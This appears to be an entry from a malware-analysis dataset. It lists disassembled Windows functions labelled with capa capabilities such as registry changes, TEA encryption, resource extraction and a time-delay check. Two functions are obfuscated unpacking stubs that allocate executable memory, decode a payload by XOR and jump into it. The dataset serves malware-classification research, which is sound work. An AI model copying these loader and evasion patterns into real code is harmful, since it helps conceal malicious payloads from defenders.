joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42f7e0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42f822
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.004036a8
mov eax, dword [ebp - 0x10]
call fcn.0042f338
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x42f70b
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00403ad0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0042fca8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x42f7e0
xor eax, eax
push ebp
push 0x42f7d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.0042f49c
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.0042f854
test al, al
je 0x42f7b7
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.004036f4
mov ebx, dword [ebp - 0x38]
dec ebx
test ebx, ebx
jl 0x42f7b7
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403a50
push eax
push esi
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x42f7b3
mov eax, dword [ebp - 0x14]
call fcn.00403a50
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.004037c4
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.0042f6b8
inc esi
dec ebx
jne 0x42f76c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42f7e0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.0042f49c
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403a50
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.0042f488
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42f829
lea eax, [ebp - 0x3c]
call fcn.00403610
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403634
ret

Function at 0x42f854
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.004028f0
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
pop esi
pop ebx
ret
Function at 0x42f898
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x42f950
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0042f854
test al, al
je 0x42f932
mov ecx, dword [ebp - 0x24]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.004036f4
mov ebx, dword [ebp - 0x28]
dec ebx
test ebx, ebx
jl 0x42f932
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00403a50
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumKeyExA
mov eax, dword [ebp - 0xc]
call fcn.00403a50
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004037c4
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc esi
dec ebx
jne 0x42f8eb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42f957
lea eax, [ebp - 0x2c]
call fcn.00403610
lea eax, [ebp - 0xc]
call fcn.00403610
ret

Function at 0x42f960
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x42fa18
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0042f854
test al, al
je 0x42f9fa
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.004036f4
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x42f9fa
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00403a50
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumValueA
mov eax, dword [ebp - 0xc]
call fcn.00403a50
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004037c4
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc esi
dec ebx
jne 0x42f9b3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fa1f
lea eax, [ebp - 0x2c]
call fcn.00403610
lea eax, [ebp - 0xc]
call fcn.00403610
ret
Function at 0x42fb44
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42fbd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, byte [ebp + 8]
call fcn.0042f34c
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403a50
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x42fbbf
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
lea edx, [ebp - 0x10]
mov eax, dword [0x43c048]
call fcn.00404678
mov ecx, dword [ebp - 0x10]
mov dl, 1
mov eax, dword [0x42f21c]
call fcn.00409370
call fcn.004030ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fbdc
lea eax, [ebp - 0x10]
call fcn.00403610
ret

Function at 0x42fbe8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42fc83
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00403a50
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x42fc5d
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
lea edx, [ebp - 0x10]
mov eax, dword [0x43c124]
call fcn.00404678
mov ecx, dword [ebp - 0x10]
mov dl, 1
mov eax, dword [0x42f21c]
call fcn.00409370
call fcn.004030ec
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0042f37c
mov edx, dword [ebp + 8]
mov byte [edx], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fc8a
lea eax, [ebp - 0x10]
call fcn.00403610
ret
Function at 0x430e78
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
test dl, dl
je 0x430e8c
add esp, 0xfffffff0
call fcn.00402d78
mov ebx, ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x38]
test al, al
jne 0x430eb6
mov ecx, 0x431030
mov dl, 1
mov eax, dword [0x405f7c]
call fcn.0040933c
call fcn.004030ec
mov eax, dword [ebp - 4]
mov byte [eax + 0xb1], 1
mov ecx, ebx
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.00410d8c
mov eax, dword [ebp - 4]
test byte [eax + 0x20], 0x10
je 0x430f03
mov eax, dword [ebp - 4]
call fcn.00430d9c
test al, al
je 0x430eee
mov eax, dword [ebp - 4]
call fcn.00430cbc
jmp 0x43100e
mov eax, dword [ebp - 4]
call fcn.00430ba8
mov eax, dword [ebp - 4]
call fcn.004310b0
jmp 0x43100e
push 0xa
push 0x431044
mov eax, dword [0x43c050]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
jne 0x430f3d
mov eax, dword [ebp - 4]
mov byte [eax + 0xb0], 0
mov ecx, 0x43105c
mov dl, 1
mov eax, dword [0x405f7c]
call fcn.0040933c
call fcn.004030ec
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x431007
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov eax, dword [0x43c050]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_LoadResource
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x430fe9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LockResource
mov esi, eax
mov dx, 0x3e33
mov eax, esi
call fcn.004319bc
cmp eax, 0x556df92e
setne al
push eax
push ebx
mov eax, dword [0x43c050]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_SizeofResource
cmp eax, 0x3e33
setne al
pop edx
or dl, al
je 0x430fd3
mov eax, 0x43108c
call fcn.0042ef34
mov eax, dword [ebp - 4]
mov byte [eax + 0xb0], 0
mov ecx, 0x43108c
mov dl, 1
mov eax, dword [0x405f7c]
call fcn.0040933c
call fcn.004030ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430ff0
mov eax, dword [ebp - 0xc]
call fcn.00405e3c
ret
cmp byte [ebp - 5], 0
je 0x43101e
pop dword fs:[0]
add esp, 0xc
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431628
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov eax, dword [esp]
mov ecx, dword [eax]
mov eax, dword [esp]
mov ebx, dword [eax + 4]
xor esi, esi
mov eax, 0x20
add esi, 0x9e3779b9
mov edi, ebx
shl edi, 4
add edi, dword [edx]
lea ebp, [esi + ebx]
xor edi, ebp
mov ebp, ebx
shr ebp, 5
add ebp, dword [edx + 4]
xor edi, ebp
add ecx, edi
mov edi, ecx
shl edi, 4
add edi, dword [edx + 8]
lea ebp, [esi + ecx]
xor edi, ebp
mov ebp, ecx
shr ebp, 5
add ebp, dword [edx + 0xc]
xor edi, ebp
add ebx, edi
dec eax
jne 0x431642
mov eax, dword [esp]
mov dword [eax], ecx
mov eax, dword [esp]
mov dword [eax + 4], ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x431690
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov eax, dword [esp]
mov ecx, dword [eax]
mov eax, dword [esp]
mov ebx, dword [eax + 4]
mov esi, 0xc6ef3720
mov eax, 0xffffffe0
mov edi, ecx
shl edi, 4
add edi, dword [edx + 8]
lea ebp, [esi + ecx]
xor edi, ebp
mov ebp, ecx
shr ebp, 5
add ebp, dword [edx + 0xc]
xor edi, ebp
sub ebx, edi
mov edi, ebx
shl edi, 4
add edi, dword [edx]
lea ebp, [esi + ebx]
xor edi, ebp
mov ebp, ebx
shr ebp, 5
add ebp, dword [edx + 4]
xor edi, ebp
sub ecx, edi
sub esi, 0x9e3779b9
inc eax
jne 0x4316ad
mov eax, dword [esp]
mov dword [eax], ecx
mov eax, dword [esp]
mov dword [eax + 4], ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4319bc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
xor ecx, ecx
test dx, dx
jbe 0x4319e9
mov ebx, ecx
and bx, 0xff
movzx esi, byte [eax]
xor bx, si
movzx ebx, bx
mov ebx, dword [ebx*4 + 0x43bb30]
shr ecx, 8
xor ebx, ecx
mov ecx, ebx
inc eax
dec dx
jne 0x4319c5
mov eax, ecx
pop esi
pop ebx
ret
Function at 0x43901c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff60
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, dword [ebp + 8]
push eax
mov eax, 0x43d79c
mov edx, edi
call fcn.00407318
push eax
lea eax, [ebp - 0xa0]
mov edx, esi
call fcn.00407318
push eax
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.00407318
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100024f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063c15
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x100988d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
push dword [esi + 0xc]
mov ecx, dword [0x10099dfc]
lea eax, [ebp - 0x14]
push eax
call fcn.1002bd80
mov edi, dword [ebp + 8]
mov ecx, edi
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_bool___thiscall_ScCore::String::operator_class_ScCore::String_const__const]
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
mov bl, al
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_]
test bl, bl
je 0x1000261b
mov edi, dword [esi + 8]
mov eax, dword [esi + 0xc]
push 0
push 1
mov esi, dword [edi]
push 0
push eax
push eax
mov esi, dword [esi + 4]
mov ecx, esi
call dword [0x10070958]
mov ecx, edi
call esi
mov esi, eax
test esi, esi
je 0x10002605
push 0
push dword [esi + 0x14]
lea ecx, [ebp - 0x10]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::constructor_char_const___class_ScCore::Encoder_const__]
push 0x2c
mov dword [ebp - 4], 1
call dword [sym.imp.ScCore.dll_public:_static_void____cdecl_ScCore::Heap::operator_new_unsigned_int_]
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 2
test eax, eax
je 0x100025e4
push 0
lea ecx, [ebp - 0x10]
push ecx
push dword [esi + 0xc]
mov ecx, eax
push dword [esi + 4]
call fcn.1002bd80
lea ecx, [ebp - 0x10]
mov esi, eax
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x10]
xor esi, esi
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [edi]
mov ecx, dword [0x10099dfc]
add eax, 0xc
push eax
call fcn.1002bd80
mov ecx, dword [esi]
push eax
mov esi, dword [ecx + 0x30]
mov ecx, esi
call dword [0x10070958]
mov ecx, dword [ebp - 0x18]
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004300
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006408f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x100988d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x100043cc
je 0x100043c7
cmp eax, 0x80000000
je 0x100043c7
test eax, eax
jne 0x100043d3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
mov eax, dword [0x10099e0c]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000437e
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call fcn.1002bd80
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::setString_unsigned_short_int_const__]
mov eax, dword [0x10099e0c]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x100043ac
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100043ef
xorps xmm0, xmm0
jmp 0x100043ea
cmp eax, 0x40000000
je 0x100043df
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100043e6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1001b1f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10066c15
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x100988d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 8]
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScScript::ScopeInfo.0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::constructor_void_]
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::SparseArray::constructor_void_]
mov dword [esi + 0x2c], 0
mov eax, esi
mov dword [esi + 0x30], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x20], 0
mov dword [esi + 4], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0x10000
mov dword [esi + 0x14], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1002bd80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1002bd8f
pop dword [ebp - 0x20]
mov eax, 0x1002bd8f
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xa1ebccdd
add dword [ebp - 0x30], 0xac66786e
mov dword [ebp - 0x2c], 0x8df427ba
sub dword [ebp - 0x2c], 0x5bc0db75
mov dword [ebp - 0x28], 0x5617a943
sub dword [ebp - 0x28], 0x9cb6515
mov dword [ebp - 0x24], 0x10dcd7d9
add dword [ebp - 0x24], 0xef232827
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x2b30c0d6
sub dword [ebp - 0x30], 0xb6be5780
mov dword [ebp - 0x2c], 0x2a5da454
sub dword [ebp - 0x2c], 0xe8f142df
mov dword [ebp - 0x28], 0x179c0481
add dword [ebp - 0x28], 0x4bd367eb
mov dword [ebp - 0x24], 0x704d5f1d
sub dword [ebp - 0x24], 0x704d5f1d
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x9a3522cb
add eax, 0x75d1dd3d
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x485d3
push 0
call eax
mov ecx, 0x5ea485bf
sub ecx, 0x5ea436aa
mov edi, eax
mov ebx, 0x45326cd6
sub ebx, 0x3527ced6
add ebx, dword [ebp - 0x20]
mov esi, 0x4e785be6
xor dword [ebp - 0xc], 0x764c1b0c
mov edx, dword [ebx]
add dword [ebp - 8], edx
add edx, esi
xor dword [ebp - 0x10], edx
mov dword [edi], edx
xor dword [ebp - 0xc], edx
add edi, 4
add ebx, 0x2de5d1ea
add ebx, 0xd21a2e1a
loop 0x1002bea1
add eax, 0x22774ba1
sub eax, 0x22761c7a
xor ebx, ebx
add ebx, eax
add eax, 0x3009c185
sub eax, 0x3009c180
mov ecx, 0x609ac79
add ecx, 0x9f65387
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40596d
pop dword [ebp - 0x4c]
mov eax, 0x64a90f10
sub eax, 0x6468b5a3
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x3f6d19
add dword [ebp - 0x5c], 0x4e12d832
mov dword [ebp - 0x58], 0x651510de
add dword [ebp - 0x58], 0xcd1e3b67
mov dword [ebp - 0x54], 0xf822a5b0
add dword [ebp - 0x54], 0x54299e7e
mov dword [ebp - 0x50], 0xb6c04802
add dword [ebp - 0x50], 0x493fb7fe
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x2a85bc5d
sub dword [ebp - 0x5c], 0xb6135307
mov dword [ebp - 0x58], 0x37b3c20d
sub dword [ebp - 0x58], 0xf6476098
mov dword [ebp - 0x54], 0x3ff85720
sub dword [ebp - 0x54], 0xdc88eab4
mov dword [ebp - 0x50], 0x98d6669a
sub dword [ebp - 0x50], 0x98d6669a
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x1489b951
add eax, 0xebb6b7af
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x352f7
push 0
call eax
mov ecx, 0x41e0
mov esi, eax
mov edx, 0x3bd10ad2
sub edx, 0x3b900ad2
add edx, dword [ebp - 0x4c]
mov edi, 0x4c9818f3
sub edi, 0xf7d40da6
add dword [ebp - 0x38], edi
mov ebx, dword [edx]
mov dword [ebp - 8], 0x28d8faa8
xor ebx, edi
add dword [ebp - 0x2c], 0x6479df1b
mov dword [esi], ebx
sub dword [ebp - 0x3c], esi
add esi, 0x9df3f226
add esi, 0x620c0dde
add edx, 0x1da7e25a
sub edx, 0x1da7e256
loop 0x405a84
add eax, 0x1193f80b
sub eax, 0x1192fdb8
xor ebx, ebx
add ebx, eax
add eax, 0x31dccbdb
sub eax, 0x31dccbd6
mov ecx, 0x4453fd0b
add ecx, 0xbbec02f5
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x407270
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00409d80
test esi, esi
jne 0x4072a6
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409f08
jmp 0x4072c4
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00407154
mov edi, eax
test esi, esi
je 0x4072c4
cmp dword [ebx], 0
je 0x4072c4
dec esi
jmp 0x4072ad
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4089d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408e90
mov byte [esp], al
cmp byte [esp], 0
jne 0x408b59
test edi, edi
je 0x408b59
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408a99
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408a74
cmp edi, 0xffffffff
je 0x408a35
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408a35
mov byte [esp], 0
jmp 0x408b59
cmp dword [esi], 1
jg 0x408a74
cmp dword [esi], 0
jne 0x408a66
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408a66
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408b59
lea eax, [esp + 0xc]
call fcn.0040868c
dec ebp
test ebp, ebp
jg 0x408a1a
cmp edi, 0xffffffff
je 0x408a99
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408a97
mov byte [esp], 0
jmp 0x408b59
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x4089de
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408a99
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408bd4
mov edx, eax
mov ebx, dword [0x61b8fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408afd
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408afb
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408afd
xor edi, edi
cmp byte [esp], 0
je 0x408b23
mov ebx, dword [esi]
test bl, 1
jne 0x408b39
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408b03
mov byte [esp + 1], 1
jmp 0x408b39
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408b23
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408ab0
cmp byte [esp], 0
je 0x408b59
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret